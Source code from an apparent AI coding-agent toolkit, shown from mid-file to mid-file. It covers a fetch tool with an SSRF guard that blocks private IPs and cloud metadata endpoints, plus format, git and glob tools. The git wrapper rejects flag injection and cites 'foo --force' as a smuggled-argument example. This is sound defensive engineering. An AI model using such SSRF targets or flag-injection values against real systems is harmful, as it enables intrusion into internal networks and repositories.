!== 'http:') {\n throw new ToolValidationError({\n message: `fetch: unsupported protocol \"${u.protocol}\"`,\n field: 'url',\n });\n }\n if (u.protocol === 'http:' && !ALLOW_PRIVATE) {\n throw new ToolValidationError({\n message: 'fetch: http:// blocked (HTTPS required by default)',\n field: 'url',\n });\n }\n await assertNotPrivate(u.hostname);\n\n yield { type: 'log', text: `GET ${input.url}` };\n\n const ctrl = new AbortController();\n const timer = setTimeout(() => ctrl.abort(new ToolError({\n message: 'fetch timeout',\n code: 'TOOL_TIMEOUT',\n toolName: 'fetch',\n })), TIMEOUT_MS);\n const combined = combineSignals([opts.signal, ctrl.signal]);\n\n try {\n let res: Response;\n try {\n res = await guardedFetch(input.url, 5, combined);\n } catch (err) {\n // A user-initiated cancel propagates unchanged. Our own timeout and any\n // transport failure get a diagnostic message: undici throws an opaque\n // `TypeError: fetch failed` whose real reason (ENOTFOUND, ECONNREFUSED,\n // UND_ERR_CONNECT_TIMEOUT, a TLS/cert error, \u2026) lives only on `.cause`.\n // Surfacing just `.message` left users with \"fetch failed\" and no clue\n // why HTTPS broke (see #100), so unwrap the cause chain here.\n if (opts.signal.aborted) throw err;\n throw describeFetchError(err, input.url, ctrl.signal.aborted);\n }\n\n const ct = res.headers.get('content-type') ?? 'application/octet-stream';\n if (/^image\\/|^audio\\/|^video\\/|application\\/octet-stream/.test(ct)) {\n throw new FetchError({\n message: `fetch: refusing to read binary content-type \"${ct}\"`,\n status: res.status,\n context: { url: res.url, contentType: ct },\n });\n }\n\n yield {\n type: 'log',\n text: `HTTP ${res.status} ${ct}`,\n data: { status: res.status, contentType: ct },\n };\n\n const reader = res.body?.getReader();\n let received = 0;\n const chunks: Uint8Array[] = [];\n let pendingBytes = 0;\n const FLUSH_AT = 4 * 1024;\n if (reader) {\n for (;;) {\n const { value, done } = await reader.read();\n if (done) break;\n if (!value) continue;\n received += value.byteLength;\n pendingBytes += value.byteLength;\n chunks.push(value);\n if (pendingBytes >= FLUSH_AT) {\n // Snapshot recent bytes for the partial_output. Keep it cheap \u2014\n // don't try to decode UTF-8 boundaries; the TUI just needs a\n // \"things are happening\" signal.\n const recent = Buffer.from(value).toString('utf-8');\n yield {\n type: 'partial_output',\n text: recent,\n data: { received },\n };\n pendingBytes = 0;\n }\n if (received > MAX_BYTES) break;\n }\n }\n const text = Buffer.concat(chunks.map((c) => Buffer.from(c))).toString('utf8');\n\n const format = input.format ?? (ct.includes('text/html') ? 'markdown' : 'text');\n let content: string;\n if (format === 'raw') content = text;\n else if (format === 'markdown' && ct.includes('text/html')) content = TD.turndown(text);\n else if (ct.includes('application/json')) content = prettyJson(text);\n else content = text;\n\n yield {\n type: 'final',\n output: {\n content: truncateMiddle(content, MAX_BYTES),\n status: res.status,\n content_type: ct,\n url: res.url,\n },\n };\n // P2 #5: record the network request as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `fetch-${Date.now()}`,\n toolName: 'fetch',\n ts: new Date().toISOString(),\n input: { url: input.url, format: input.format },\n outcome: `HTTP ${res.status} (${ct})`,\n risk: 'network',\n });\n } finally {\n clearTimeout(timer);\n }\n },\n};\n\n/**\n * Turn an opaque undici `TypeError: fetch failed` into an actionable message by\n * walking its `.cause` chain. undici buries the transport reason (a DNS/socket\n * errno or a TLS handshake failure) one or more `.cause` hops down, so the bare\n * `.message` is always just \"fetch failed\". We join each distinct\n * `code: message` link so the user sees, e.g.,\n * `fetch: GET https://x failed \u2014 UND_ERR_CONNECT_TIMEOUT: Connect Timeout Error`.\n */\nfunction describeFetchError(err: unknown, url: string, timedOut: boolean): FetchError | ToolError {\n if (timedOut) {\n return new ToolError({\n message: `fetch: GET ${url} timed out after ${TIMEOUT_MS}ms`,\n code: 'TOOL_TIMEOUT',\n toolName: 'fetch',\n context: { url, timedOut: true, timeoutMs: TIMEOUT_MS },\n cause: err,\n });\n }\n const parts: string[] = [];\n const seen = new Set<unknown>();\n let cur: unknown = err;\n while (cur instanceof Error && !seen.has(cur)) {\n seen.add(cur);\n const code = (cur as NodeJS.ErrnoException).code;\n const label = code ? `${code}: ${cur.message}` : cur.message;\n // Skip undici's uninformative top-level \"fetch failed\" wrapper, but keep it\n // as a fallback if it turns out to be the only thing we have.\n if (label && label !== 'fetch failed' && !parts.includes(label)) parts.push(label);\n cur = (cur as { cause?: unknown }).cause;\n }\n const detail = parts.length > 0 ? parts.join(' \u2192 ') : 'fetch failed';\n return new FetchError({\n message: `fetch: GET ${url} failed \u2014 ${detail}`,\n status: 502,\n context: { url, timedOut: false, transportErrors: parts },\n // Preserve the original undici / DNS / TLS chain so callers can inspect\n // it via `err.cause` and structured `instanceof` checks. The flattened\n // text version stays in the message for human readability.\n cause: err,\n });\n}\n\nfunction prettyJson(s: string): string {\n try {\n return JSON.stringify(JSON.parse(s), null, 2);\n } catch {\n return s;\n }\n}\n", "import * as dns from 'node:dns/promises';\nimport * as net from 'node:net';\nimport {\n isPrivateIPv4,\n isPrivateIPv6,\n} from '@wrongstack/core/utils';\nimport { FetchError, ToolValidationError } from '@wrongstack/core/types';\nimport { Agent, fetch as undiciFetch } from 'undici';\n\n/**\n * SSRF guard machinery shared by the `fetch` and `search` tools. Split out of\n * fetch.ts so entries that only need `guardedFetch` (search) don't bundle the\n * whole fetch tool. Everything here is security-critical: the pinned undici\n * dispatcher performs the SINGLE DNS resolution the TCP connection uses, so\n * there is no DNS-rebinding TOCTOU between validation and connect.\n */\n\nconst nativeGlobalFetch = globalThis.fetch;\n\nexport const ALLOW_PRIVATE = process.env['WRONGSTACK_FETCH_ALLOW_PRIVATE'] === '1';\n/* v8 ignore next 8 -- module-load-time opt-in warning; gated on an env var not set during tests. */\nif (ALLOW_PRIVATE && !process.env['CI']) {\n console.warn(\n '[WrongStack] WARNING: WRONGSTACK_FETCH_ALLOW_PRIVATE=1 is active \u2014\\n' +\n ' fetch tool can now access private IPs (10.x, 192.168.x, 169.254.x),\\n' +\n ' cloud metadata endpoints, and plaintext HTTP. Use only on isolated networks.',\n );\n}\n\ntype LookupCallback = (\n err: NodeJS.ErrnoException | null,\n address?: string | Array<{ address: string | undefined; family: number }>,\n family?: number | undefined,\n) => void;\n\n/**\n * DNS lookup used by the undici dispatcher below. It performs the SINGLE name\n * resolution that the TCP connection actually uses, and rejects if any\n * resolved address is private/loopback/link-local. Because the connection\n * reuses exactly this result, there is no DNS-rebinding TOCTOU window between\n * the security check and the connect \u2014 closing the gap the old code documented\n * (validate with one dns.lookup, then let fetch re-resolve independently).\n * TLS still validates the certificate against the hostname (SNI is set by\n * undici from the URL), so pinning the IP does not weaken cert checking.\n */\nexport function guardedLookup(\n hostname: string,\n options: { all?: boolean | undefined; family?: number | undefined },\n callback: LookupCallback,\n): void {\n dns\n .lookup(hostname, { all: true })\n .then((records) => {\n const family = options?.family;\n const byFamily =\n family === 4 || family === 6 ? records.filter((r) => r.family === family) : records;\n const list = byFamily.length > 0 ? byFamily : records;\n if (!ALLOW_PRIVATE) {\n for (const r of list) {\n const bad = r.family === 4 ? isPrivateIPv4(r.address) : isPrivateIPv6(r.address);\n if (bad) {\n callback(\n Object.assign(new Error(`fetch: resolved to private address ${r.address}`), {\n code: 'EAI_FAIL',\n }),\n );\n return;\n }\n }\n }\n if (options?.all) {\n callback(\n null,\n list.map((r) => ({ address: r.address, family: r.family })),\n );\n return;\n }\n const first = list.at(0);\n if (!first) {\n callback(\n Object.assign(new Error(`fetch: no address for ${hostname}`), { code: 'ENOTFOUND' }),\n );\n return;\n }\n callback(null, first.address, first.family);\n })\n .catch((err) => callback(err as NodeJS.ErrnoException));\n}\n\n// Reused across requests; guardedLookup re-validates on every new connection,\n// so connection pooling is safe. Literal-IP targets bypass lookup entirely and\n// are caught by assertNotPrivate's pre-check instead.\n// Destroyed on process exit so long-running processes (eternal autonomy,\n// MCP server mode) don't let the connection pool grow unboundedly.\nlet pinnedAgent: Agent | undefined;\nfunction getPinnedDispatcher(): Agent {\n if (!pinnedAgent) {\n // Undici 8 enables HTTP/2 negotiation by default. Its H2 stream can emit a\n // late, unhandled `error` after fetch already rejected when the peer closes\n // the TLS socket, terminating the whole WrongStack process. The fetch tool\n // does not need multiplexing, so retain the proven HTTP/1.1 transport while\n // preserving the pinned DNS lookup and connection pooling.\n pinnedAgent = new Agent({ allowH2: false, connect: { lookup: guardedLookup as never } });\n }\n return pinnedAgent;\n}\n\nfunction dispatcherFetch(): typeof globalThis.fetch {\n // Node's built-in global fetch is backed by its own bundled undici version.\n // Passing an Agent from the workspace's `undici` package to that different\n // dispatcher ABI fails on recent Node with:\n // UND_ERR_INVALID_ARG: invalid onRequestStart method\n // Use the matching package fetch+Agent pair in real runs, but keep honoring\n // test/user fetch shims that replace globalThis.fetch after this module loads.\n return globalThis.fetch === nativeGlobalFetch\n ? (undiciFetch as unknown as typeof globalThis.fetch)\n : globalThis.fetch;\n}\n// Clean up the global dispatcher on exit \u2014 undici Agents maintain connection\n// pools and DNS caches that should be torn down in long-running processes.\n// Guard against duplicate registration (module reload/HMR would otherwise\n// accumulate listeners).\nlet _beforeExitRegistered = false;\nif (!_beforeExitRegistered) {\n _beforeExitRegistered = true;\n /* v8 ignore next 4 -- process 'beforeExit' cleanup; not deterministically triggerable in-test. */\n process.on('beforeExit', () => {\n pinnedAgent?.destroy();\n pinnedAgent = undefined;\n });\n}\n\n/**\n * SSRF-guarded fetch with manual, per-hop-revalidated redirects, exported so\n * other builtin tools (e.g. `search`) get the same protections instead of a\n * weaker `redirect: 'follow'`. Every hop is re-checked against private/loopback\n * ranges and the connection is pinned to the validated IP via the undici\n * dispatcher (no DNS-rebinding TOCTOU). `headers` defaults to the plain `fetch`\n * tool's; callers may override (e.g. a browser User-Agent for search engines).\n */\nexport async function guardedFetch(\n url: string,\n maxRedirects: number,\n signal: AbortSignal,\n headers: Record<string, string> = {\n 'user-agent': 'WrongStack/1.0 (+https://wrongstack.com)',\n accept: 'text/html,application/json;q=0.9,text/plain;q=0.8,*/*;q=0.1',\n },\n): Promise<Response> {\n let redirectCount = 0;\n let currentUrl = url;\n for (;;) {\n // Re-validate every hop. A public host can 302 to 169.254.169.254 (cloud metadata),\n // or DNS can rebind between hops; checking only the initial URL is insufficient.\n const parsed = new URL(currentUrl);\n if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {\n throw new ToolValidationError({\n message: `fetch: redirect to unsupported protocol \"${parsed.protocol}\"`,\n field: 'url',\n });\n }\n if (parsed.protocol === 'http:' && !ALLOW_PRIVATE) {\n throw new ToolValidationError({\n message: 'fetch: redirect to http:// blocked (HTTPS required by default)',\n field: 'url',\n });\n }\n await assertNotPrivate(parsed.hostname);\n\n // The dispatcher pins the connection to the IP guardedLookup validated \u2014\n // no independent re-resolution, so DNS rebinding can't swap in a private\n // address between check and connect. `dispatcher` is a runtime option of\n // Node's undici-backed global fetch but isn't in lib.dom's RequestInit, and\n // our undici Agent's type differs from the @types/node copy \u2014 hence the\n // cast. (Verified: global fetch invokes the Agent's custom lookup.)\n const init = {\n redirect: 'manual' as const,\n signal,\n headers,\n dispatcher: getPinnedDispatcher(),\n };\n const res = await dispatcherFetch()(currentUrl, init as never as RequestInit);\n if (res.status < 300 || res.status > 399) {\n return res;\n }\n redirectCount++;\n if (redirectCount > maxRedirects) {\n throw new FetchError({\n message: `fetch: exceeded ${maxRedirects} redirects`,\n status: res.status,\n context: { url: currentUrl, maxRedirects, redirectCount },\n });\n }\n const location = res.headers.get('location');\n if (!location) {\n throw new FetchError({\n message: 'fetch: redirect status with no location header',\n status: res.status,\n context: { url: currentUrl, redirectCount },\n });\n }\n currentUrl = new URL(location, currentUrl).toString();\n }\n}\n\nexport async function assertNotPrivate(hostname: string): Promise<void> {\n if (ALLOW_PRIVATE) return;\n\n const host =\n hostname.startsWith('[') && hostname.endsWith(']') ? hostname.slice(1, -1) : hostname;\n\n if (host === 'localhost' || host.endsWith('.localhost')) {\n throw new ToolValidationError({\n message: 'fetch: blocked localhost target',\n field: 'url',\n });\n }\n\n const ipVersion = net.isIP(host);\n if (ipVersion === 4) {\n if (isPrivateIPv4(host)) {\n throw new ToolValidationError({\n message: `fetch: blocked private/loopback address \"${host}\"`,\n field: 'url',\n });\n }\n } else if (ipVersion === 6) {\n if (isPrivateIPv6(host)) {\n throw new ToolValidationError({\n message: `fetch: blocked private/loopback address \"${host}\"`,\n field: 'url',\n });\n }\n } else {\n // Hostname \u2014 pre-flight check: resolve and reject if any record is private,\n // so we fail fast with a clear error before opening a socket. The\n // authoritative anti-rebinding control is guardedLookup on the pinned\n // undici dispatcher (see getPinnedDispatcher): it performs the single\n // resolution the connection actually uses, so there is no TOCTOU between\n // this check and the connect. Each redirect target is re-checked too.\n try {\n // Use dns.lookup for async hostname resolution (matches guardedLookup above).\n const records = await dns.lookup(host, { all: true });\n for (const r of records) {\n const bad = r.family === 4 ? isPrivateIPv4(r.address) : isPrivateIPv6(r.address);\n if (bad) {\n throw new ToolValidationError({\n message: `fetch: resolved to private address ${r.address}`,\n field: 'url',\n });\n }\n }\n } catch (err) {\n if (err instanceof ToolValidationError) throw err;\n // DNS failure \u2014 let fetch handle it\n }\n }\n}\n", "import type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { spawnStream } from './_spawn-stream.js';\nimport { normalizeCommandOutput, safeResolve } from './_util.js';\nimport { tryLegacyCodeOperation } from './languages/legacy-bridge.js';\n\ninterface FormatInput {\n files?: string | string[] | undefined;\n fixer?: 'biome' | 'prettier' | 'auto' | undefined;\n check?: boolean | undefined;\n cwd?: string | undefined;\n}\n\ninterface FormatOutput {\n fixer: string;\n files_checked: number;\n files_changed: number;\n output: string;\n truncated: boolean;\n}\n\nexport const formatTool: Tool<FormatInput, FormatOutput> = {\n name: 'format',\n category: 'Code Quality',\n description:\n 'Format source files according to project style (Biome). Can also run in check-only mode.',\n usageHint:\n 'RUN REGULARLY:\\n\\n' +\n '- Use on changed files before committing.\\n' +\n '- `check: true` verifies formatting without making changes (useful in CI-like flows).\\n' +\n 'This project has very consistent formatting expectations. Always ensure your changes are formatted.',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write', 'shell.restricted'],\n icon: 'code',\n timeoutMs: 60_000,\n inputSchema: {\n type: 'object',\n properties: {\n files: {\n type: 'string',\n description: 'Files/patterns: single path, comma-separated list, or glob',\n },\n fixer: {\n type: 'string',\n enum: ['biome', 'prettier', 'auto'],\n description: 'Formatter to use (default: auto-detect)',\n },\n check: {\n type: 'boolean',\n description: 'Verify only, do not modify files (default: false)',\n },\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n },\n },\n async execute(input, ctx, opts) {\n let final: FormatOutput | undefined;\n const executeStream = formatTool.executeStream;\n if (!executeStream) throw new Error('formatTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('format: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<FormatOutput>> {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n const fixer = input.fixer ?? 'auto';\n\n // Delegate to the language planner for non-JS ecosystems (Go, Rust, PHP, C#).\n if (fixer === 'auto' && !input.files) {\n const op = input.check ? 'format-check' : 'format-write';\n const bridge = await tryLegacyCodeOperation(op, {\n cwd,\n projectRoot: ctx.projectRoot,\n signal: opts.signal,\n });\n if (bridge?.run) {\n const run = bridge.run;\n yield {\n type: 'final',\n output: {\n fixer: bridge.language,\n files_checked: 0,\n files_changed: run.summary.errors > 0 ? 0 : 1,\n output: normalizeCommandOutput(run.output || run.error || ''),\n truncated: run.truncated,\n },\n };\n return;\n }\n }\n\n const detected = fixer === 'auto' ? await detectFixer(cwd) : fixer;\n /* v8 ignore start -- detectFixer always falls back to 'biome' (never null) and explicit fixers are truthy; this is defensive. */\n if (!detected) {\n yield {\n type: 'final',\n output: {\n fixer: 'none',\n files_checked: 0,\n files_changed: 0,\n output: 'No formatter found (biome.json, .prettierrc)',\n truncated: false,\n },\n };\n return;\n }\n /* v8 ignore stop */\n\n yield {\n type: 'log',\n text: `Running ${detected}\u2026`,\n data: { fixer: detected, check: !!input.check },\n };\n\n const args: string[] = ['format', '--write'];\n if (input.check) args[args.length - 1] = '--check';\n if (input.files) {\n const files = Array.isArray(input.files) ? input.files : input.files.split(',');\n args.push('--', ...files.map((f) => f.trim()));\n }\n\n const result = yield* spawnStream({\n cmd: detected,\n args,\n cwd,\n signal: opts.signal,\n maxBytes: 100_000,\n });\n\n const changed = [...result.stdout.matchAll(/\\bchanged\\b/gi)].length;\n yield {\n type: 'final',\n output: {\n fixer: detected,\n files_checked: 0,\n files_changed: changed,\n output: normalizeCommandOutput(result.stdout || result.stderr || result.error || ''),\n truncated: result.truncated,\n },\n };\n },\n};\n\nasync function detectFixer(cwd: string): Promise<string | null> {\n const { stat } = await import('node:fs/promises');\n try {\n await stat(`${cwd}/biome.json`);\n return 'biome';\n } catch {\n try {\n await stat(`${cwd}/.prettierrc`);\n return 'prettier';\n } catch {\n return 'biome';\n }\n }\n}\n", "import { spawn } from 'node:child_process';\nimport { statSync } from 'node:fs';\nimport { dirname, resolve, sep } from 'node:path';\nimport { assessCommitSafety } from '@wrongstack/core/coordination';\nimport { buildChildEnv } from '@wrongstack/core/utils';\nimport type { Tool } from '@wrongstack/core/types';\nimport { COMMAND_OUTPUT_MAX_BYTES, normalizeCommandOutput } from './_util.js';\n\ntype GitSubcommand =\n | 'status'\n | 'log'\n | 'diff'\n | 'commit'\n | 'branch'\n | 'checkout'\n | 'stash'\n | 'push'\n | 'pull'\n | 'fetch'\n | 'reset'\n | 'worktree';\n\ninterface GitInput {\n command: GitSubcommand;\n files?: string | string[] | undefined;\n dry_run?: boolean | undefined;\n /** commit message for `commit` subcommand */\n message?: string | undefined;\n /** branch name for `checkout` / `branch` */\n branch?: string | undefined;\n /** pass --graph, --oneline, --stat for `log` */\n format?: 'short' | 'oneline' | 'stat' | 'graph' | undefined;\n /** limit for `log` */\n limit?: number | undefined;\n /** worktree action: list, add, remove, prune */\n worktreeAction?: 'list' | 'add' | 'remove' | 'prune' | undefined;\n /** path for worktree add/remove (e.g. \"../wt-feature-xyz\") */\n worktreePath?: string | undefined;\n /** create new branch when adding worktree */\n newBranch?: boolean | undefined;\n /** force operation (e.g. worktree remove --force) */\n force?: boolean | undefined;\n}\n\ninterface GitOutput {\n command: GitSubcommand;\n stdout: string;\n stderr: string;\n exitCode: number;\n truncated: boolean;\n /** Staged diff shown for commit commands so the caller can verify. */\n diff?: string | undefined;\n /**\n * Shared-worktree warning for `commit`: present when uncommitted changes\n * were authored by another agent/session (or a concurrent non-wrongstack\n * process). The commit still proceeds \u2014 this is advisory so the caller can\n * reconsider committing work it did not write.\n */\n warning?: string | undefined;\n}\n\nconst TIMEOUT_MS = 30_000;\nconst MAX_OUTPUT = 100_000;\n\nexport const gitTool: Tool<GitInput, GitOutput> = {\n name: 'git',\n category: 'Git',\n description:\n 'Safe wrapper around common git operations. Supports status, log, diff, commit, branch, checkout, stash, push, pull, fetch, reset, worktree, etc. ' +\n 'This is the preferred way to interact with git instead of using the raw `bash` or `exec` tools.',\n usageHint:\n 'ALWAYS prefer this tool over raw shell git commands.\\n\\n' +\n 'Key fields:\\n' +\n '- `command`: one of the supported subcommands (status, log, diff, commit, etc.)\\n' +\n '- Use `message` only for commit operations.\\n' +\n '- Use `files` array for operations that take paths (status, diff, add, etc.).\\n' +\n '- Non-mutating commands (status, log, diff, branch, fetch) are still permission:confirm for safety.\\n' +\n '- For `commit` in a possibly-shared working tree, pass an explicit `files` list scoped to ' +\n 'what YOU changed. A bare commit (no `files`) includes ALL staged changes and may capture ' +\n \"another agent's half-done work. Heed the `warning` field on the result.\\n\" +\n 'Never pass raw git flags through `args` for dangerous operations \u2014 use the structured fields.',\n permission: 'confirm',\n icon: 'git',\n // Conservative: any of these may mutate. The non-mutating commands\n // (status/log/diff/branch/fetch) are still gated on `permission: 'confirm'`\n // and `MUTATING_SUBCOMMANDS` is consulted at runtime for per-call checks.\n mutating: true,\n capabilities: ['fs.write', 'shell.restricted'],\n timeoutMs: TIMEOUT_MS,\n inputSchema: {\n type: 'object',\n properties: {\n command: {\n type: 'string',\n enum: [\n 'status',\n 'log',\n 'diff',\n 'commit',\n 'branch',\n 'checkout',\n 'stash',\n 'push',\n 'pull',\n 'fetch',\n 'reset',\n 'worktree',\n ],\n description: 'Git subcommand',\n },\n files: {\n type: 'string',\n description:\n 'File(s) for status/diff: single path, comma-separated list, or \"**/*.ts\" glob',\n },\n message: { type: 'string', description: 'Commit message (required for commit)' },\n branch: { type: 'string', description: 'Branch name for checkout/branch' },\n format: {\n type: 'string',\n enum: ['short', 'oneline', 'stat', 'graph'],\n description: 'Log format (default: short)',\n },\n limit: { type: 'integer', description: 'Limit for log (default: 20)' },\n dry_run: { type: 'boolean', description: 'For commit: show what would be committed' },\n worktreeAction: {\n type: 'string',\n enum: ['list', 'add', 'remove', 'prune'],\n description: 'Worktree action: list, add, remove, prune',\n },\n worktreePath: {\n type: 'string',\n description: 'Path for worktree add/remove (e.g. \"../wt-feature-xyz\")',\n },\n newBranch: {\n type: 'boolean',\n description: 'Create new branch when adding worktree',\n },\n force: {\n type: 'boolean',\n description: 'Force operation (e.g. worktree remove --force)',\n },\n },\n required: ['command'],\n },\n async execute(input, ctx, opts) {\n if (!input?.command) throw new Error('git: command is required');\n\n if (input.command === 'commit' && !input.message) {\n return {\n command: 'commit',\n stdout: '',\n stderr: 'git commit requires a message (-m flag)',\n exitCode: 1,\n truncated: false,\n };\n }\n\n // Validate worktree paths/branches before touching the filesystem: reject\n // flag injection and any path that escapes the project root.\n if (input.command === 'worktree') {\n const guard = validateWorktreeInput(input, ctx.projectRoot);\n if (guard) return guard;\n }\n\n // Bound the search at projectRoot so a non-git project doesn't drift\n // into a parent repo (e.g. ~/repos/.git) and operate on the wrong tree.\n const gitDir = findGitDir(ctx.cwd, ctx.projectRoot);\n if (!gitDir) {\n return {\n command: input.command,\n stdout: '',\n stderr: 'Not in a git repository (within project root)',\n exitCode: 128,\n truncated: false,\n };\n }\n\n const args = buildArgs(input);\n\n // For commits, check whether the working tree holds changes this session\n // did not author (a concurrent agent / separate wrongstack process / human).\n // Warn-only: the commit still runs, but the caller sees the risk of sweeping\n // up another agent's half-done work. Best-effort \u2014 never blocks the commit.\n let safetyWarning: string | undefined;\n if (input.command === 'commit') {\n try {\n const report = await assessCommitSafety({\n cwd: ctx.cwd,\n projectRoot: ctx.projectRoot,\n sessionId: ctx.session?.id,\n signal: opts.signal,\n });\n if (report.warning) {\n // Committing without an explicit file list stages/commits everything\n // already staged \u2014 the highest-risk path for capturing foreign work.\n const scopeNote = input.files\n ? ''\n : '\\nNote: this commit has no explicit `files` list, so it will include ALL ' +\n 'staged changes. Pass `files` to scope the commit to only what you changed.';\n safetyWarning = report.warning + scopeNote;\n }\n } catch {\n // commit-safety is advisory; ignore failures\n }\n }\n\n // For commits, capture the staged diff BEFORE committing so the caller\n // can verify what is about to land without another tool call.\n let stagedDiff: string | undefined;\n if (input.command === 'commit' && !input.dry_run) {\n try {\n const diffResult = await runGit(['diff', '--cached'], gitDir, opts.signal);\n if (diffResult.exitCode === 0) {\n const MAX_DIFF = 20_000;\n stagedDiff =\n diffResult.stdout.length > MAX_DIFF\n ? diffResult.stdout.slice(0, MAX_DIFF) + '\\n\\n... (diff truncated)'\n : diffResult.stdout;\n }\n } catch {\n // Diff capture is best-effort; don't fail the whole operation\n }\n }\n\n const result = await runGit(args, gitDir, opts.signal);\n if (stagedDiff !== undefined) result.diff = stagedDiff;\n if (safetyWarning !== undefined) result.warning = safetyWarning;\n return result;\n },\n};\n\n/**\n * Reject worktree inputs that could inject git flags or escape the project\n * root. Returns a `GitOutput` describing the rejection, or `null` if safe.\n */\nfunction validateWorktreeInput(input: GitInput, projectRoot: string): GitOutput | null {\n const reject = (stderr: string): GitOutput => ({\n command: 'worktree',\n stdout: '',\n stderr,\n exitCode: 1,\n truncated: false,\n });\n\n // Flag injection: a leading '-' would be parsed as a git option.\n if (input.branch?.startsWith('-')) return reject(`unsafe branch name: ${input.branch}`);\n if (input.worktreePath?.startsWith('-')) {\n return reject(`unsafe worktree path: ${input.worktreePath}`);\n }\n\n // Path escape: add/remove targets must resolve inside the project root.\n if (\n (input.worktreeAction === 'add' || input.worktreeAction === 'remove') &&\n input.worktreePath\n ) {\n const root = resolve(projectRoot);\n const abs = resolve(root, input.worktreePath);\n if (abs !== root && !abs.startsWith(root + sep)) {\n return reject(`unsafe worktree path (escapes project root): ${input.worktreePath}`);\n }\n }\n\n return null;\n}\n\nfunction findGitDir(cwd: string, projectRoot: string): string | null {\n const root = projectRoot;\n let dir = cwd;\n for (let i = 0; i < 20; i++) {\n try {\n const stat = statSync(`${dir}/.git`);\n // A normal repo has a `.git` directory; a linked worktree has a `.git`\n // *file* (gitlink pointing at the main repo). Accept both so the tool\n // operates inside a worktree when a subagent's cwd is a worktree dir.\n if (stat.isDirectory() || stat.isFile()) return dir;\n } catch {\n // continue\n }\n if (dir === root) break;\n const parent = dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n return null;\n}\n\nfunction buildArgs(input: GitInput): string[] {\n const limit = input.limit ?? 20;\n const files = input.files\n ? (Array.isArray(input.files) ? input.files : input.files.split(','))\n .map((s: string) => s.trim())\n .filter(Boolean)\n : [];\n\n switch (input.command) {\n case 'status':\n return ['status', ...(files.length ? ['--', ...files] : [])];\n case 'log':\n return [\n 'log',\n `--max-count=${limit}`,\n ...(input.format === 'oneline' ? ['--oneline'] : []),\n ...(input.format === 'stat' ? ['--stat'] : []),\n ...(input.format === 'graph' ? ['--oneline', '--graph', '--decorate'] : []),\n ...(input.format === 'short' || !input.format ? [] : []),\n ];\n case 'diff':\n return ['diff', '--no-color', ...(files.length ? ['--', ...files] : [])];\n case 'commit':\n return [\n 'commit',\n ...(input.dry_run ? ['--dry-run', '--porcelain'] : []),\n ...(input.message ? ['-m', input.message] : []),\n ...(files.length ? ['--', ...files] : []),\n ];\n case 'branch':\n // Validate branch name: reject names starting with '-' or containing ' --'\n // to prevent flag injection (e.g. \"foo --force\").\n return input.branch\n ? ['branch', ...(input.branch.startsWith('-') || input.branch.includes(' --') ? [] : [input.branch])]\n : ['branch'];\n case 'checkout':\n return [\n 'checkout',\n ...(input.branch ? ['--', input.branch] : []),\n ...(files.length ? ['--', ...files] : []),\n ];\n case 'stash':\n return input.message ? ['stash', 'push', '-m', input.message] : ['stash', 'push'];\n case 'push':\n return ['push'];\n case 'pull':\n return ['pull'];\n case 'fetch':\n return ['fetch', ...(input.branch ? [input.branch] : ['--all'])];\n case 'reset':\n return ['reset', ...(files.length ? ['--', ...files] : [])];\n case 'worktree':\n switch (input.worktreeAction) {\n case 'list':\n return ['worktree', 'list'];\n case 'add': {\n // git worktree add [-b <new-branch>] <path> [<commit-ish>]\n // The path comes BEFORE the branch/commit-ish. With --newBranch the\n // branch is the name to create (`-b <branch> <path>`); without it the\n // branch is an existing branch/commit to check out (`<path> <branch>`).\n if (!input.worktreePath) return ['worktree', 'list'];\n const add = ['worktree', 'add'];\n if (input.newBranch && input.branch) add.push('-b', input.branch);\n add.push(input.worktreePath);\n if (!input.newBranch && input.branch) add.push(input.branch);\n return add;\n }\n case 'remove':\n return [\n 'worktree',\n 'remove',\n ...(input.force ? ['--force'] : []),\n input.worktreePath ?? '',\n ].filter(Boolean);\n case 'prune':\n return ['worktree', 'prune'];\n default:\n return ['worktree', 'list'];\n }\n default:\n return [input.command];\n }\n}\n\nfunction runGit(args: string[], cwd: string, signal: AbortSignal): Promise<GitOutput> {\n return new Promise((resolve) => {\n let stdout = '';\n let stderr = '';\n\n const child = spawn('git', args, {\n cwd,\n signal,\n env: buildChildEnv(),\n stdio: ['ignore', 'pipe', 'pipe'],\n windowsHide: true,\n });\n\n child.stdout?.on('data', (chunk: Buffer) => {\n if (stdout.length < MAX_OUTPUT) {\n stdout += chunk.toString();\n }\n });\n\n child.stderr?.on('data', (chunk: Buffer) => {\n if (stderr.length < MAX_OUTPUT) {\n stderr += chunk.toString();\n }\n });\n\n child.on('error', (err) => {\n resolve({\n command: args[0] as GitSubcommand,\n stdout: normalizeCommandOutput(stdout),\n stderr: err.message,\n exitCode: 1,\n truncated: Buffer.byteLength(stdout, 'utf8') > COMMAND_OUTPUT_MAX_BYTES,\n });\n });\n\n child.on('close', (code) => {\n // `MAX_OUTPUT` already bounded the raw buffers in memory; normalize strips\n // ANSI / progress / duplicate noise and head+tail-truncates to the shared\n // command cap so only useful output reaches the model.\n resolve({\n command: args[0] as GitSubcommand,\n stdout: normalizeCommandOutput(stdout),\n stderr: normalizeCommandOutput(stderr),\n exitCode: code ?? 1,\n truncated:\n Buffer.byteLength(stdout, 'utf8') > COMMAND_OUTPUT_MAX_BYTES ||\n Buffer.byteLength(stderr, 'utf8') > COMMAND_OUTPUT_MAX_BYTES,\n });\n });\n });\n}\n", "import * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { compileGlob, DEFAULT_WALK_IGNORE_DIRS } from '@wrongstack/core/utils';\nimport type { Tool } from '@wrongstack/core/types';\nimport { mapWithConcurrency } from './_concurrency.js';\nimport { loadGitignoreMatcher } from './codebase-index/gitignore.js';\nimport { assertRealInsideRoot, safeResolveReal } from './_util.js';\n\ninterface GlobInput {\n pattern: string;\n path?: string | undefined;\n limit?: number | undefined;\n}\n\ninterface GlobOutput {\n files: string[];\n truncated: boolean;\n}\n\nconst DEFAULT_IGNORE = DEFAULT_WALK_IGNORE_DIRS;\nconst WALK_CONCURRENCY = 16;\n\nexport const 